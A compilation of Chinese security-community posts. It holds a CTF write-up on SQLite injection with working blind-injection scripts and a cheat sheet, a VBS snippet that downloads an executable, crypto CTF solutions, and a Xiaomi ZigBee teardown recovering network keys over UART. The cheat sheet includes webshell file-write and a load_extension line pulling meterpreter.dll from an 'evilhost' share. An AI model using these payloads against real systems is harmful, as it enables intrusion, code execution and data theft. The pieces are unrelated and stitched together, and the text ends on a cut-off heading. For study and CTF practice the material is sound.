> Statements](https://www.sqlite.org/lang_createtable.html)
>
> “ CREATE TABLE… AS SELECT” 语句基于 SELECT 语句的结果创建并填充数据库表。该表的列数与 SELECT
> 语句返回的行数相同。每个列的名称与 SELECT 语句的结果集中相应列的名称相同。每个列的声明类型由 SELECT
> 语句结果集中相应表达式的表达式亲和类型确定。
>
> 使用 create table as 创建的表 **最初由 SELECT 语句返回的数据行填充** 。按照 SELECT 语句返回行的顺序，以连续升序的
> rowid 值 (从1开始) 进行分配。
由上，也就是说，我们能这样构造语句：
CREATE TABLE landv as select sql [(dummy1 TEXT, dummy2 TEXT, `whatever you want` ] from sqlite_master;);
--前面说过，[] 可用作注释，也就是说，上面语句等价为
CREATE TABLE landv as select sql from sqlite_master;
--landv 这张由用户创建的表就会被 select 语句返回的数据行填充
payload1：
//路由 create 下 post
table_name=landv as select sql [&columns[0][name]=abc&columns[0][type]=] from sqlite_master;
返回填充的第一行就是我们查出来的创建 `FLAG_TABLE` 的原始语句，同理，我们可以借此查出 flag 。
payload2：
//路由 create 下 post
table_name=landv as select flag_2a2d04c3 [&columns[0][name]=abc&columns[0][type]=] from flag_bf1811da;
这道题主要是面向创表过程中可能的注入，但实际中运用得少（没有权限），接下来我们看整体。
### Sqlite Voting
给了数据库文件和部分源码。
vote.php
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
// waf
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ - "[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
header("Content-Type: text/json; charset=utf-8");
// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}
// N.B
// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
// succeeded!
echo json_encode([
'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);
schema.sql (actual flag is removed)
DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`name` TEXT NOT NULL,
`count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
('dog', 0),
('cat', 0),
('zebra', 0),
('koala', 0);
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
过滤非常严格。
这道题的 SQL 语句是 update `vote` 表中的 `count` 自增，并且还会有更新是否成功的回显：
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
从这基本可以确定是盲注了（从上面的 `banword` 也可以猜测），接下来我们需要的是故意使其报错，以便我们判断盲注是否正确。
**基于错误的 SQLite 盲注**
**可供制造错误的函数**
通过参考 [SQLite 官方手册的内置函数](https://www.sqlite.org/lang_corefunc.html)
我们找到了以下几个函数故意制造错误：
> `load_extension(x)`、`load_extension(x,y)`
>
> `load_extension(x,y)` 函数使用入口点 y 从名为 x 的共享库文件中加载 SQLite 扩展。`load_extension
> ()` 的结果总是 NULL 。如果省略 y，则使用默认的入口点名称。如果扩展未能正确加载或初始化，则 `load _ extension()` 函数
> **引发异常** 。
>
> 这个函数可以加载动态库，如 windows 的 dll ，linux 的 so ，换言之，我们可以利用其进行远程命令执行，这可以参考这篇
> [利用这个函数反弹
> shell](https://blog.csdn.net/qq_34101364/article/details/109250435) 的博客。
>
> `abs(x)`
>
> 返回数值参数 x 的绝对值，如果 x 为 NULL，则 abs(x) 返回 NULL。如果 x 是不能转换为数值的字符串或 blob，则 Abs (x)
> 返回0.0 。如果 x 是整数 -922337203685475808，那么 abs (x) **抛出一个整数溢出错误** 。
>
>
>
> 0x8000000000000000 为 -922337203685475808 的十六进制形式。
>
> `sum(x)`
>
> 返回一组中所有非空值的数值总和。如果所有输入都是整数或者 NULL，在结果溢出时，`sum(x)` 将抛出一个 **“整数溢出”异常** 。
>
> `ntile(n)`
>
> 参数 n 被作为整数处理。这个函数将分区尽可能平均地划分为 n 组，并按 ORDER BY 子句定义的顺序或其他任意顺序将1到 n
> 之间的整数分配给每个组。如果有必要，会首先出现更大的组。此函数返回分配给当前行所属组的整数值。同上也是整数溢出。
这里明显只能用整数溢出。
最朴素的盲注，是用 substr 和 ord 配合使用进行判断，但这里明显对其进行了限制，而且最重要的是，我们既不能用字符（引号被过滤），也不能用
ascii 码判断（ char 被过滤），那么我们到底要怎么才能判断每一位是否正确呢？
#### 利用长度变化的盲注
> 出题人 [st98 师傅](https://st98.github.io/diary/posts/2019-05-21-harekaze-> ctf-2019.html#web-350-sqlite-voting) 是利用 `replace` 来判断是否正确：
>
> [replace(x,y,z)](https://www.sqlite.org/lang_corefunc.html#replace)
>
> replace (x，y，z) 函数返回一个字符串，这个字符串是用字符串 z 替换字符串 x 中每个字符串 y 而形成的。BINARY
> 排序序列用于比较。如果 y 是一个空字符串，那么返回 x 不变。如果 z 最初不是字符串，则在处理之前将其强制转换为 UTF-8字符串。
>
> 简而言之，设 flag 为 `flag{landv01}` ，长度为 13 。
>
>
>
> 长度变为了 9 ，是因 flag 中的 `flag` 四位被替换为空。
>
> 所以我们可以利用长度的变化来判断是否正确。
>
> * * *
>
> 下面是我对利用长度变化进行盲注的一些扩展：
>
> 实际上，我还找到了 `trim(x,y)` 企图达到与 `replace` 一样的效果：
>
>
>
> 但当测试包含 `{` 时，`trim(x,y)` 的回显为什么却是 6 ？
>
>
>
> 结合[官方文档](https://www.sqlite.org/lang_corefunc.html#trim)的解释，`trim(x,y)`
> 函数返回一个字符串，该字符串由删除 X **两端** 出现在 Y 中的 **任何和所有字符组成** 。
>
> 如果省略了 Y 参数，`trim(x)` 将删除 X 两端的空格（这是最常用的用法）
>
> 也就是说，如果 y 是 `flag{` ，那么 `fla` 、`la`
> 这样的组合都会被删掉，所以并不能用于判断是否正确，虽说你可以一直寻找直至长度变化（ `ltrim()` 这里是删除 x 左端）：
>
>
>
> 虽说在 SQLite `trim()` 不能很有效地判断，但在
> [Oracle](https://docs.oracle.com/en/database/oracle/oracle-> database/20/sqlrf/TRIM.html#GUID-00D5C77C-19B1-4894-828F-066746235B03)
> 中是可行的：
>
> “如果您指定了 LEADING，那么 Oracle 数据库将删除所有等于 trim _ character 的前导字符。”
>
>
> length(trim(leading 'f' from flag))
>
>
> 上述语句可在 Oracle 中用于判断。
现在我们报错和判断正确的手段都有了，就要考虑特殊字符的绕过。
一堆限制，就用 hex 编码来进行绕过，因为一些比较的运算符都被 ban 了，我们利用位运算符代替：
以下脚本来自出题人师傅博客。
首先考虑 flag 长度的判断。
abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)
最外围我们用 `abs()` 抛出整数溢出的错误。
其中用 case 计算表达式，flag 长度与 `{1<<n}` 按位相与：
length(hex((select(flag)from(flag)))) & {1<<n}
`{1<<n}` 也就是 2 的 n 次方，相与的作用只是为了把和 flag 长度（二进制）为 1 的部分记录下来，可想而知，一直从 1 循环到 n 为
16 ，我们把所有 1 都记录下来后，flag 的长度也就自然得出了。
# フラグの長さを特定
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
然后就是比对 hex 编码，0123456789 都能正常运用，但像 abcdef 就又要用到引号。
**解法一 利用 trim + hex 删除构造字符**
而上面我们不是提到 `trim()` 这个无差别，所有组合都会删除的函数吗，只要我们能构造出只有一个字母例如 A 的 hex 值，把全部数字删除，那不就得到
A 了吗？
如下，我们利用表中的数据和特殊函数的返回值来构造相应字符。
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
# 'zebra' → '7A65627261'
# trim 删除 1,2,5,6,7 后只剩下了 A ，以下同理
table['C'] = 'trim(hex(typeof(.1)),12567)'
# 'real' → '7265616C'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
# 0xffffffffffffffff = -1 → '2D31'
table['E'] = 'trim(hex(0.1),1230)'
# 0.1 → 302E31
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
# 'dog' → '646F67'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
# 'koala' → '6B6F616C61'
# || 是连接符，第二项的意思是 16||C||F ，也就是利用 trim 删除 1,6,C,F
接下来就是判断每一位字符了：
# フラグをゲット!
# 这里是已知 flag 格式为 HarekazeCTF{ ，我们对其 hex 编码，接下来只需要盲注后面的字符
res = binascii.hexlify(b'HarekazeCTF{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
`trim(0,0)` 实际上就是空，`l` 是 flag 的长度，`t` 是我们每次进行测试的字符串（如果有字符被确定了，就会被连接 `||` 进 `t`
）。
实际上，发送的请求是这样的：
abs(case(
replace(
length(replace(hex((select(flag)from(flag))),test_data,'')) # 这里进行替换和获取长度
,flag_length,'') # 第二个 replace 判断长度是否变化
)when('')then(0)else(0x8000000000000000)end)
如果长度变化了就会报错，那么就是测试的字符是有的，被添加进 `res` ，再十六进制转字符就 getflag 了。
**解法二 双重 hex 编码删除字母**
解法一是费了很大劲去构造出 abcdef 的，但我们可以直接双重编码，仅用数字来进行判断。
abs(ifnull(nullif(length((SELECT(flag)from(flag))),$LENGTH$),0x8000000000000000))
`ifnull` 返回两个参数中不为 0 的数，`nullif` 两个参数相同返回 NULL ，不同返回第一个参数。
换言之，以上 payload 在做的就是遍历 $LENGTH$ 找到与 flag 长度相等的数。
得到了长度，我们同样面临构造特数字符的问题，这里用了双重 hex 编码，编码后 flag 的长度即上面的 4 倍。
4 倍长度的 hex 纯数字编码会被用科学计数法表示，但我们可以用上面用到的 `||` 来进行连接，由这我们可以得到 payload：
abs(ifnull(nullif(max(hex(hex((SELECT(flag)from(flag)))),$NUMBER$),$NUMBER$),0x8000000000000000))
所以便可遍历 4 倍长度的 $NUMBER$ ，利用 `max` 得到双重编码后的 flag ，双重解码后即可。
# 0x04 Cheat Sheet
下面结合题解直接来总结一张 Cheat Sheet，其中部分来源于外网部分来源于自我总结。
因为表格 md 语法的问题，双竖线代替 || ：
name | syntax | description
---|---|---
注释 1 | — |
注释 2 | /**/ |
注释 3 | [] |
IF 语句 | CASE WHEN |
连接符 | 双竖线 |
截取子串 | substr(x,y,z) |
获取长度 | length(stuff) |
获取版本信息 | select sqlite_version(); |
获取表名 | SELECT tbl_name FROM sqlite_master; |
获取列名 | SELECT sql FROM sqlite_master; |
基于错误的盲注 1 | abs(case(xxx)when(xxx)then(0)else(0x8000000000000000)end) |
判断字符，abs 可由 sum 、ntile 等函数替换，case 计算的表达式可用如
replace(length(replace(x,y,z)),y,z) 这样利用长度变化判断
基于错误的盲注 2 |
abs(case(length(xxx)&{1<<n})when(0)then(0)else(0x8000000000000000)end) |
获取长度，需要脚本配合，n：1~16
基于错误的盲注 3 |
abs(ifnull(nullif(length((SELECT(flag)from(flag))),$LENGTH$),0x8000000000000000))
| 获取长度，通过遍历
生成单引号 1 | select cast(X’27’ as text); |
生成单引号 2 | select substr(quote(hex(0)),1,1); |
quote：返回SQL文字的文本，该文本是其参数的值，适合包含在SQL语句中。字符串由 **单引号** 包围。
生成双引号 | select cast(X’22’ as text); |
基于时间的盲注 | 1’ AND [RANDNUM]=LIKE(‘ABCDEFG’,
UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) |
供判断注入，RANDOMBLOB()函数生成指定长度的随机字符串。当这个长度足够大的时候就会让服务器产生明显的延迟。这样就可以判断语句的执行成功与否，这同时也是通用的注入
payload 。实际上，AND 后面的表达式计算出来是 0 。
布尔盲注 1 | and (SELECT count(tbl _name) FROM sqlite_master WHERE type=’table’
and tbl_name NOT like ‘sqlite_ %’ ) < number_of_table | 获得表的个数
布尔盲注 2 | and (SELECT length(tbl _name) FROM sqlite_master WHERE type=’table’
and tbl_name not like ‘sqlite_ %’ limit 1 offset 0)=table_name_length_number |
列举表名
布尔盲注 3 | and (SELECT hex(substr(tbl _name,1,1)) FROM sqlite_master WHERE
type=’table’ and tbl_name NOT like ‘sqlite_ %’ limit 1 offset 0) >
hex(‘some_char’) | 获得数据
文件写入 | 1’;ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn
(dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘’;— | 需要堆叠查询对应配置开启
代码执行 | UNION SELECT
1,load_extension(‘\evilhost\evilshare\meterpreter.dll’,’DllMain’);— |
具体使用可以看上面介绍给出的链接，默认情况下这个函数是禁用的。
## 0x05 参考
<https://github.com/unicornsasfuel/sqlite_sqli_cheat_sheet>
<https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf> | 社区文章 |
从github上下载文件,默认是https协议
但是手动将https改成http也能实现下载
通过vbs尝试下载,代码如下:
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.XMLHTTP")
http.open
"GET","[http://github.com/test/test/raw/master/test.exe",False](http://github.com/test/test/raw/master/test.exe)
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "c:\test\a.exe"
ado.Close
会提示Accesss is denied.
有没有小伙伴知道如何使用vbs从github上下载文件呢? | 社区文章 |
# 天翼杯Crypto Write Up
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上周五参加了天翼杯，其中的密码学赛题整体难度中等左右，这里记录下全部四道赛题的题解。
## Easy RSA
题目代码:
from Crypto.Util.number import *
from gmpy2 import invert
from secret import flag,e
def enc(key, p):
e, n = key
cipher = [pow(ord(char), e, n) for char in p]
return cipher
def dec(pk, c):
key, n = pk
plain = [chr(pow(char, key, n)) for char in c]
return ''.join(plain)
p = getPrime(512)
q = getPrime(512)
n = p*q
pubkey = (e,n)
assert(e < 20000)
print("Public key:")
print(pubkey[1])
cipher = (enc(pubkey, flag))
print("Encrypted flag:")
print(cipher)
这题的enc函数中，将flag的每个字节分别进行加密，这导致明文空间只有256,简单枚举即可算出m。
虽然e还不知道，但是我们知道flag是以flag{开头的，利用’f’和对应的密文，在(1,20000)范围内爆破，即可得到e
exp如下：
from gmpy2 import *
n = 53868412634233045090369153437747412878975425992040754576346754596620347350784422917543759897936684646663150893442998869763798006729979997564587680875175995309635877031073898192380128134509976889005408768734374216063639902277690308505919178272615191163114645916867249827856751349851814346547505622471483949937
f = open('output' , 'r')
c = f.readline()[:-1]
c = [int(i) for i in c.split('L, ')]
for i in range(20000):
if pow(ord('f') , i , n) == c[0]:
e = i
break
flag = ''
for cipher in c:
for i in range(256):
if pow(i , e , n) == cipher:
flag += chr(i)
break
print(flag)
## AliceHomework
题目所用的密码系统为knaspack，给了公钥为303维，直接规约以后并不能得到理想的向量。
因此我采用了一点小小的技巧来降维。
由于flag的格式为flag{32位16进制数}
flag{}这里6个字节我们是已知的，因此可以去掉48维。
稍加观察还可以发现，16进制的数他们的ascii码的2进制，满足0#1#####。
因此对于每一位都还可以去掉2维。这里可以去掉64维。
所以最后只剩下了192维，LLL规约后，即可得到解向量
exp:(sage)
from Crypto.Util.number import *
def backpacker(n , c , K):
M = matrix(ZZ , n+1 , n+1)
N = 2 ^ 333
for i in range(n):
M[i,i] = 2
M[n,i] = 1
M[i,n] = K[i] * N
M[n,n] = c*N
tmp = M.BKZ(blocksize = 22)[0]
if tmp[-1] != 0:
print('wrong')
return 0
else:
print(tmp)
c = 48900138654057608906330336094404001410012416314129947343718254788658710361958972300167501443635234828803130486373878734082851314709567051747373094122800043398642622361749518265923115930476719470463043632323571459743381102290686602475870167398059452505895370462341540956691006903515181773586159733875651
f = open('./output' , 'r')
key = f.readline()[:-1]
key = [int(i) for i in key.split('L, ')]
plain = bin(bytes_to_long(b'flag{'))[2:]
for i in plain:
if i == '1':
c -= key[0]
key = key[1:]
true_key = []
for i in range(32):
choose_list = [1,3,4,5,6,7]
for j in choose_list:
true_key.append(key[i * 8 + j])
c -= key[i * 8 + 2]
plain = bin(ord('}'))[2:].rjust(8 , '0')
key = key[-8:]
for i in range(8):
if plain[i] == '1':
c -= key[i]
print(len(true_key))
alist = backpacker(len(true_key) ,c ,true_key)
flag = ''
for i in range(32):
tmp = 2**5
valuelist = [64,16,8,4,2,1]
for j in range(6):
if alist[i*6 + j] == -1:
tmp += valuelist[j]
flag += chr(tmp)
print(flag)
## hard rsa
题目代码：
from Crypto.Util.number import *
from gmpy2 import invert
import os
from secret import flag
p = getPrime(510)
q = getPrime(510)
r = getPrime(510)
e = 7
m = bytes_to_long(os.urandom(30)+flag)
n = p*q*r
d = invert(e,(p-1)*(q-1)*(r-1))
c = pow(m,e,n)
print n/p
print p
print c
print hex(d%(1<<540))
代码很短，三元rsa，泄露了d的低位。所以可以用coppersmith的partical d的思路来写。
但是因为这里，q和r都为510位，而d给了低540位，因此可以不用转化为partical p（因为已经可以直接算出p了）
具体思路如下：
因此，左边右边与模同时除以公因数即可。又因为已知这里的p-1中2的次数为4【p-1 = 2^4 * 某个奇数】,k中2的次数最多为2（当k= 4时）,
因此模最小为2^540 / 2^6 = 2^ 534，又q+r为511位，因此直接求逆即可得到q+r，接下来解一元二次方程即可分解n
exp:
from gmpy2 import *
from Crypto.Util.number import *
def Solve(a , b , c):
'''solve ax^2+bx+c=0 , return x1 , x2'''
delta = b**2 - 4 * a * c
if delta < 0:
return 0
if is_square(delta):
sqr_delta = isqrt(delta)
temp1 = -b + sqr_delta
temp2 = -b - sqr_delta
if temp1 % (2*a) != 0 or temp2 % (2*a) != 0:
return 0
else:
return [temp1//(2*a) , temp2//(2*a)]
else:
return 0
n = 4049584030002970545664080823848129582938411034556792600914380229461546791772327894437844974694562804322320098597200821632361860404029749610290918822378230751309535193434791281064861182569710224863795884931806318447090299326829551214573212997789976022379378237846483710647686355658059931581771863291348036943
p = 3141886348112988339174865432179206412942588390228169645162293920470188882447855208783220899752887620221059861467348059334030873350571979462363834615231089
c = 8696771272015513736887843395612361647314297287781507609196936354183211655364744684164300710583625473872942712063309507651496314800393009480421886926137403759228421858414833429980059903049311837014449093365911603108158352871851677457256058510822509157407703210866317472894586087554001158540951787167699161720491198674848526093644131709561995379565643716017359731201935855247285498574923656191121426618306186331615280461405913653781283860760013215603007314688132
d0 = 0x414946b9c40728f9801e61e98ec6d17525cbe4163a5ffb8367b65c652ae4cc3abce62e70afbfb84fcf937b3119953b48922be19ef4312c4f3a88313368ca6c9b1d658b7
e = 7
for k in range(1 , 7):
module = 2 ** 539
right = k * (p - 1) * (n+1) + 1 - e * d0
left = k * (p-1)
while 1:
if left % 2 == 0:
left //=2
right //= 2
module //= 2
else:
break
s = (invert(left , module) * right) % module
if isinstance(Solve(1 , -s , n) , list):
q , r = Solve(1 , -s , n)
break
print(q)
print(q *r == n)
phi = (p-1)*(q-1)*(r-1)
d = invert(e , phi)
print(long_to_bytes(pow(c ,d , n * p)))
## Polycrypto
题目实现了一个多项式的ntru加密，并且给了私钥。只需要写一个解密函数即可。
首先了解一下在这个多项式环(PolynomialRing(Integers(q)))上的运算。
很简单，加法乘法都与正常乘相同，不过任何一项的系数大于q时，都要模q取余数；
取的素多项式为x^N -1，当出现N次以上的项的时候，得先模这个素多项式。使用的这个多项式，效果可以看作将次数大于或等于61的项除以x^61
（比如4x^62会变成4x）
接下来看一下它的加密过程。
另外，还有一点要注意的，原题中，给的任何数据，都是模q的最小非负剩余。可在生成g，m和r的时候，有用到-1,这就导致，模q以后，它会变成q-1.而如果在上面模q的几步中，使用最小非负剩余，那么mf极有可能有系数大于q，导致转换模的前提条件失效。因此，需采用绝对最小剩余（即系数在-q/2到q/2之间）才能成功解密。
exp:(本题可以用python写，但懒，用sage)
from Crypto.Util.number import long_to_bytes
Zx.<x> = ZZ[]
n = 61
q = 5039
p = 11
def mul(f,g):
return (f * g) % (x^n-1)
def bal_mod(f,q):
g = list(((int(f[i]) + q//2) % q) - q//2 for i in range(n))
return Zx(g)
def inv_mod_prime(f,p):
T = Zx.change_ring(Integers(p)).quotient(x^n-1)
return Zx(lift(1 / T(f)))
def decrypt(c,key):
f,f3 = key
a = bal_mod(mul(c,f),q)
a = bal_mod(a , p)
return bal_mod(mul(a,f3),p)
if __name__ == "__main__":
c = [[221, 4761, 791, 4565, 163, 2959, 2174, 2402, 3083, 4464, 340, 752, 4898, 709, 3085, 4393, 156, 3680, 600, 2074, 3058, 4331, 1621, 2977, 2420, 891, 429, 4304, 3811, 2672, 3615, 3592, 1069, 561, 3183, 1197, 931, 1625, 89, 4118, 1214, 2147, 3542, 3305, 1192, 2768, 4519, 2672, 1548, 2598, 4075, 1667, 577, 924, 810, 1239, 4033, 2198, 2742, 4197, 2069], [1249, 2762, 483, 3324, 449, 1647, 1024, 3292, 285, 83, 1144, 1818, 2323, 2215, 1157, 2370, 3735, 1712, 3278, 1118, 3073, 4803, 783, 4765, 3120, 4709, 3304, 199, 987, 4939, 3969, 1749, 1045, 450, 40, 1644, 1143, 2642, 1464, 3462, 1990, 1235, 4756, 2240, 2808, 4728, 3874, 3746, 2106, 926, 778, 1071, 3488, 3469, 926, 4497, 2220, 1425, 4549, 3130, 4937], [4287, 3659, 4672, 521, 3387, 1631, 674, 1739, 1927, 1655, 4653, 4772, 245, 216, 845, 3161, 2756, 1752, 2562, 2893, 443, 1195, 2430, 2438, 152, 4567, 965, 1200, 1709, 1109, 3349, 2988, 147, 3214, 4391, 2726, 1531, 251, 2685, 1624, 2963, 2385, 4992, 4995, 3296, 3262, 4337, 1002, 63, 959, 2631, 315, 4114, 1292, 3588, 1867, 3349, 3928, 3886, 1258, 2783], [834, 3120, 1420, 3534, 3926, 2862, 1840, 1083, 3258, 3146, 1080, 145, 119, 3348, 4115, 1551, 3426, 2077, 3493, 4002, 3008, 1321, 2182, 4197, 3047, 3349, 1555, 709, 2803, 63, 2792, 538, 4943, 1081, 2204, 2993, 4398, 1007, 3623, 4243, 2276, 2332, 2287, 363, 3920, 2229, 3078, 1438, 1152, 297, 3425, 4381, 3651, 3818, 2970, 159, 3726, 1190, 1645, 632, 2697]]
f = [12, 0, 5028, 0, 11, 0, 5028, 11, 5028, 11, 11, 5028, 0, 5028, 11, 0, 0, 0, 0, 5028, 5028, 0, 5028, 11, 0, 0, 0, 11, 0, 5028, 0, 0, 5028, 0, 11, 0, 5028, 5028, 0, 0, 0, 11, 0, 11, 0, 0, 5028, 0, 11, 5028, 0, 0, 0, 11, 0, 5028, 11, 0, 0, 5028, 5028]
f = bal_mod(Zx(f) , q)
f_p = inv_mod_prime(f , p)
flag = b''
for i in range(len(c)):
tmp = list(decrypt(Zx(c[i]),(f , f_p)))
print(tmp)
res = 0
for j in range(len(tmp)):
res += (tmp[j]+1) * (3 ^ j)
flag += long_to_bytes(res)
print(flag) | 社区文章 |
# 小米智能家庭ZigBee从硬件到固件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
# 小米智能家庭ZigBee通信分析
## 一、简单介绍
小米智能家庭是一套基于ZigBee Home Auto 1.2的一套智能化管理套件。自发布以来，因其出色的性价比，在市场中占了很大的比重。
套件的结构为以小米网关为核心。小米网关同时支持WIFI和ZigBee低功耗通讯。在同一个局域网下，手机通过 WIFI 与网关进行通讯，网关负责将手机的 WIFI 数据指令转换成对它其他智能设备的 Zigbee 数据命令。
**大体结构如下图**
#### 本次嗅探破解，主要以ZigBee层交互破解为中心。
## 二、初探
* 首先，需要嗅探Zigbee通讯层设备入网过程中，网关是否将密钥以明文的形式发送给终端节点。
需要如下图所示的一个ZigBee抓包器。（CC2531芯片 USB Dongle）
* 软件使用Ubiqua，这款软件为有偿使用的软件。而且价格不菲。遗憾的是，现在网上都没有它的破解版本。好在官方提供了新账号21天的使用权。
* 打开软件插上USB Dongle之后，在设备列表中右键选择通讯信道。（这里的通讯信道出场固化不一定 11-25号信道 我是一个个信道的试出来的）。
以下为抓到的开关的入网过程：
以下为开关按下多次后发送的ZigBee数据：
由上图可以看出。通讯过程全部加密。必须获取到ZigBee的通讯加密密钥才能将其通讯数据破解。
* 未加密的数据部分中只展示了我现在所使用的网关创建的Zigbee网络信息为：
PANID：0x3190
网关的：IEEE 长地址为 ：00:15:8d:00:02:d3:94:cb
一般情况下信任中心（Zigbee协调器）保存密钥。在设备入网过程中，再使用次主密钥生成会话密钥并下发给其他节点。
* ZigBee通讯安全密钥知识参考链接：<http://blog.csdn.net/stonerme/article/details/53409732>
## 三、尝试串口调试中获取通讯密钥
* 在此，将小米智能网关拆解。
* 最初拆解后可以看到一共为两层，但是下面的一层为小米网关的灯光的电路板设计和电源集成的一块电路板。所以我们关注的重点就是上面的一层集成MCU和Zigbee射频模块的电路板（如下图连同电磁屏蔽罩一起拆掉）。
* 拆解后可以看到这块电路板上暴露了主控MCU，存储数据的Flash闪存，以及ZigBee射频芯片。
* 下图为使用华为Mate20 Pro 的超细微距拍摄的主控放大图 ( HuaWei 加油 ！) ：
可以看到芯片为 88MW302-NXU2 。
* ### 网上查询资料后发现这是一款支持WIFI的低功耗无线主控芯片。也就是说 MCU和 WIFI 集成在了一起。
* 继续查看ZigBee主控芯片。发现这款芯片 型号为 NXP 公司的 JN5169 Zigbee芯片 （如下图）。
* 下载主控芯片 88MW302-NXU2的 DataSheet PDF文件，查找Package （引脚图）：
上图中只表示了GPIO口的序号，详细的GPIO功能在文档中有明确的说明。
* 详细查看小米底板后发现主控下方有10个测试点。
* 使用万用表进行测试后发现这10个测试点对应于芯片的功能引脚图如下：
### 继续查看芯片手册中的GPIO引功能表发现如下图所示的对应关系。至此就找到了UART串口调试所需要的引脚测试点。
* 在测试点处焊接排针，使用杜邦线与USB转TTL板连接（如下图）。准备进行串口调试。
* 连接后将网关上电，同时将USB转TTL插到主机上。(注意此时不能连接GND和VCC 否则网关无法征程启动)
* 连接后打开SecureCRT串口调试 。
并且操作一次开关入网流程。在UART串口调试信息展示出了如下的调试信息
* 直接看上去会发现这一大堆的数据看的让人头昏眼花。但是仔细的将所有的有关Zigbee的通讯的数据观察后发现，调试信息中会展示电路板上的ZigbeeJN5169芯片会给主控发送Zigbee的数据。(如下图)
分析数据之前回顾之前未揭秘前拿到的Zigbee网络信息
PANID：0x3190
网关的：IEEE 长地址为 ：00:15:8d:00:02:d3:94:cb
将数据取出后，仔细分析其中两次的Zigbee回馈的数据：
01 50 15 d6 63 4c e1 32 0f 08 6d 4e 7b 84 b9 2a a7 01 01 0b 31 90 00 01 00 06 28 40 00 15 8d 00 02 d3 94 cb 00 15 8d 00 02 d3 94 cb 20 4a e1 41 d7 da
01 50 15 d6 63 4c e1 32 0f 08 6d 4e 7b 84 b9 2a a7 01 01 0b 31 90 00 01 00 06 28 2a 00 15 8d 00 02 d3 94 cb 00 15 8d 00 02 d3 94 cb 20 4a f7 d8 56 92
* 首先先两次返回的数据中黄色和绿色部分都为网关Zigbee IEEE长地址。而 蓝色部分为网关创建的Zigbee 网络的 PANID 。
由此猜测 如果本条调试信息中 存在密钥的话 蓝色部分之前应该为密钥。（因为Zigbee网络中密钥为 128位 16字节的 AES
密钥，这也是为什么在众多的UART调试信息中为什么比较关注这条长一点的数据的原因）
蓝色部分之前 有 20 个字节长度的 所以 因为其他部分识别不出来，所以只能去尝试在这20字节中进行最多五次的尝试解密。
* 当取出这20字节中第二个的16个字节进行第二次尝试，将其导入到Ubiqua的密钥列表中。
## 导入后发现成功解密 。
* 至此就将所有小米智能家居的Zigbee通讯报文数据全部解密。
解密后下图中发现了在入网过程中网关发送给开关结点的会话密钥。
（然后就可以尝试自己使用 已经拿到的Zigbee密钥进行 Zigbee的其他途径的攻击了）
* 下图为开关按下后 发出的 Zigbee 数据包 。
## 四、最值得分析的部分
* 值得进一步分析的是如下图所示的存放小米固件的Flash芯片！
可以看出小米为了安全已经将芯片印记涂抹，难以辨识。
将Flash芯片取下后进行连接编程器：
编程器自动识别出Flash芯片厂商和类型。
* 将固件提取出来后，放到Ubuntu下 使用 binwalk 提取文件系统：
##### 如上图所示，提取出的文件系统解密失败。（决定之后再进行尝试解密）
## 五、总结
由此看出
，小米还是一家良心的注重安全的厂商！安全防护还是做的很到位。在找UART调试口的时候，废了很大的功夫才确定了最后的测试点，原因是电磁防护罩做的额很好，每条边都是焊接上去的。很难取下来。而且还擦出了zigbee芯片和flash芯片的芯片印字。固件读出后又面临这解密的问题。
### 参考链接：
<http://blog.csdn.net/stonerme/article/details/53409732>
<https://blog.csdn.net/weixin_42030357/article/details/92030179> | 社区文章 |
# 对 Smoke Loader 恶意软件新样本进行分析
|
##### 译文声明
